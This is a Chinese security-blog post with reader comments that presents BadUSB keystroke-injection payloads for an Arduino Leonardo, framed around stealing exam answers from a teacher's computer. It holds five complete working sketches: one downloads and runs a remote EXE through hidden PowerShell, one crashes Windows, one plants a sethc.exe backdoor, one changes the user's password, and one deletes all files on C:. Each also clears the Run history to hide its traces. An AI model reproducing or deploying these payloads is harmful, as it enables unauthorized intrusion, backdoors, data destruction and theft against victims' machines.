hid
本文原创作者:mrzcpo
本文内容带有一定的攻击性,仅供学习交流使用,严禁用于非法用途
图文无关
临近期末考试了,利用烧鹅配合一个简单的木马程序其实可以轻松的从老师的电脑里拿到考卷甚至答案,可惜太贵了,偶然间发现有人用Arduino Leonardo也可以实现类似的功能,而且价格低廉,于是就有了下文。
0×01 关于HID
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
0×02 Arduino Leonardo
笔者从网上买到一个小型的arduino leonardo自带外壳,简直就是用来攻击的神器啊。
Arduino Leonardo是基于ATmega32u4一个微控制器板。它有20个数字输入/输出引脚(其中7个可用于PWM输出、12个可用于模拟输入),一个16 MHz的晶体振荡器,一个Micro USB接口,一个DC接口,一个ICSP接口,一个复位按钮。它包含了支持微控制器所需的一切,你可以简单地通过把它连接到计算机的USB接口,或者使用AC-DC适配器,再或者用电池来驱动它。
Leonardo不同于之前所有的arduino控制器,他直接使用了ATmega32u4的USB通信功能,取消了USB转UART芯片。这使得Leonardo不仅可以作为一个虚拟的(CDC)串行/ COM端口,还可以作为鼠标或者键盘连接到计算机。它还有很多不同的地方,我们会在入门页面中介绍。
[简单的说就是可以像按键精灵玩耍,相当于一插上电脑就执行一个案件精灵的脚本一样。]
0×03 正文
笔者其实对硬件方面不太懂,其实就是个脚本小子。所以学习起来比较费劲。
对此研究也一番后,被输入法的问题困扰许久,研究许久也找到了一个猥琐的解决办法,那就是通过开大写小的方法来解决[具体请见代码]。
输入法问题:我们不能判断对方系统默认输入法是中文还是英文,但是我们所有的情况下都要输入英文怎么办呢?按Shift?如果对方已经是英文输入法按下shift就会又切回中文了,所以这不是一个好方法,但是我想到了一个猥琐的方法,大部分人不会默认把大写开着,所以这里用大写输入法,输出小写的字母。
那么需要Get到答案这时候其实只需要PowerShell下载代码配合一个生成好的简易的Ftp上传病毒即可。
附上代码:
1.PowerShellDownload(支持Win7/Win8,实现窗口最小化下载运行exe文件,这样都不会有小黑窗,感觉比较安全,通过大写的方式绕过输入法.)
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
2.BlueScreen(支持WinXP/Win7,通过大写的方式绕过输入法.)
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
3.后门种植(Win通用,替换Sethc.exe为cmd.exe,通过大写的方式绕过输入法.)
void setup() {//初始化 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&TAKEOWN /F %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE&ECHO Y|CACLS %sYSTEMrOOT%\\SYSTEM32\\SETHC.EXE /g %username%:f© C:\\WINDOWS\\SYSTEM32\\CMD.EXE C:\\WINDOWS\\SYSTEM32\\SETHC.EXE /y"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
4.修改当前用户密码(Win通用,修改当前用户密码,通过大写的方式绕过输入法.可惜容易被拦截)
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% HACKED&EXIT"); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
5.删除C盘所有文件(Win通用,可以删除C盘所有文件,通过大写的方式绕过输入法.)
void setup() {//初始化 Keyboard.begin();//开始键盘通讯 delay(5000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F© C:\\WINDOWS\\SYSTEM32\\SHUTDOWN.EXE D:\\SHUTDOWN.EXE /y&DEL /S /F /Q C:\\*&D:\\SHUTDOWN.EXE -R -F -T 0") Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end();//结束键盘通讯 } void loop()//循环 { }
提示(代码仅供学习交流使用,严禁用于非法用途):
针对XP的机器我们还可以利用Debug这个攻击来将exe可执行程序存放在代码中哦!
像这种小型的Arduino开发板也是可以加内存的哦,只要一个小型的HUB模块+一个U盘黑胶体即可,这样做出来也是可以集合到U盘外壳中的是不是很邪恶。
*原创作者:mrzcpo,本文属FreeBuf原创奖励计划文章,未经许可禁止转载
- 上一篇:IE漏洞攻防编年简史
- 下一篇:如何使用Metabrik实现恶意软件分析的自动化
0daybank
已有 16 条评论
购买地址呢 可以发下不
@ 周火火 X宝搜Badusb就有
求某宝地址
求购买地址
微型 Arduino usb 开发板
naive !
给力!请问楼主那个arduino如何加内存直接拷贝文件到内存吗,还有那个ftp上传的exe有连接吗
求 某宝的购买链接
明明就是在淘宝上买的还好意思说自己搞得
@ echotxl 其实我在上面写了是买的ArduinoLeonardo自带外壳
想当年日穿整个校内网,除了没联网的我没办法,其他人的电脑都不是难事,唯独从来没想过去搞试卷。。。。。。。。。这就是节操啊
可以开下大写再开小写,这样更保险
楼主是通过Arduino开发环境直接写入程序的不
@ 夜尽天明 Arduino ide 1.5.5
下载exe 好像有个叫 K8飞刀的神器里面的Badusb脚本写得很吊,功能也很全,一份代码同时支持所有windows和Linux系统种马。文中的太low了 powershell只能支持win7以后的系统就不说了,很多终端机不是Xp就是Linux系统?Win7要配置太高,投入成本大,几乎没怎么见过?只是点歌戓简单业务操作之类的,你是老板你用什么系统。
支持
